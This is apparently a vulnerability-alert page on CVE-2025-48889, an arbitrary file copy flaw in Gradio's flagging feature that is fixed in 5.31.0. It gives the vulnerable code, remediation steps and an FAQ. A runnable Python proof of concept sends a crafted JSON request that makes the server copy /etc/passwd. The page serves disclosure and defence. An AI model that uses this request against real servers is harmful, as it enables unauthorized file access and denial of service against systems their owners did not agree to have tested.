CVE-2025-48889: Gradio Allows Unauthorized File Copy via Path Manipulation

Published May 29, 2025
·
Updated

An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

Description The flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradioapi/run/predict endpoint to trigger these file copies.

Source: User-controlled path parameter in the flagging functionality JSON payload Sink: shutil.copy operation in FileData.copytodir() method

The vulnerable code flow: 1. A JSON payload is sent to the /gradioapi/run/predict endpoint 2. The path field within FileData object can reference any file on the system 3. When processing this request, the Component.flag() method creates a GradioDataModel object 4. The FileData.copytodir() method uses this path without proper validation:

python def copytodir(self, dir: str) -> FileData: pathlib.Path(dir).mkdir(existok=True) newobj = dict(self)

if not self.path: raise ValueError("Source file path is not set") newname = shutil.copy(self.path, dir) # vulnerable sink newobj["path"] = newname return self.class(newobj) 5. The lack of validation allows copying any file the Gradio process can read

PoC The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio's flagged directory:

Setup a Gradio app:

python import gradio as gr

def imageclassifier(inp): return {'cat': 0.2, 'dog': 0.8}

test = gr.Interface(fn=imageclassifier, inputs="image", outputs="label")

test.launch(share=True)

Run the PoC:

python import requests

url = "https://[your-gradio-app-url]/gradioapi/run/predict" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10157) AppleWebKit/537.36" }

payload = { "data": [ { "path": "/etc/passwd", "url": "[your-gradio-app-url]", "origname": "networkconfig", "size": 5000, "mimetype": "text/plain", "meta": { "type": "gradio.FileData" } }, {} ], "eventdata": None, "fnindex": 4, "triggerid": 11, "sessionhash": "test123" }

response = requests.post(url, headers=headers, json=payload) print(f"Status Code: {response.statuscode}") print(f"Response Body: {response.text}")

Other sources

Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Prior to version 5.31.0, an arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. This issue has been patched in version 5.31.0.

— MITRE

Affected Software

2 affected componentsFixes available
pip/gradio<5.31.0
5.31.0
Gradio Project Gradio Python>=5.25.2<5.31.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/gradio to a version that resolves this vulnerability.

    Fixed in 5.31.0
  2. Upgrade

    Upgrade Gradio to a version that resolves this vulnerability.

    Fixed in 5.31.0

Event History

May 29, 2025
Advisory Published
via GitHub·10:36 PM
May 30, 2025
CVE Published
via MITRE·06:12 AM
Data Sourced
via MITRE·06:12 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 AM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-48889?

CVE-2025-48889 is considered a high-severity vulnerability due to its potential for denial of service.

2

How do I fix CVE-2025-48889?

To fix CVE-2025-48889, update Gradio to version 5.31.0 or later.

3

What types of attacks can be performed using CVE-2025-48889?

CVE-2025-48889 allows unauthenticated attackers to perform arbitrary file copy operations, potentially leading to a denial of service.

4

Can I read the files copied using CVE-2025-48889?

No, while files can be copied using CVE-2025-48889, attackers cannot read the contents of the copied files.

5

What consequences can arise from CVE-2025-48889?

The primary consequence of CVE-2025-48889 is disk space exhaustion, which can lead to denial of service.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203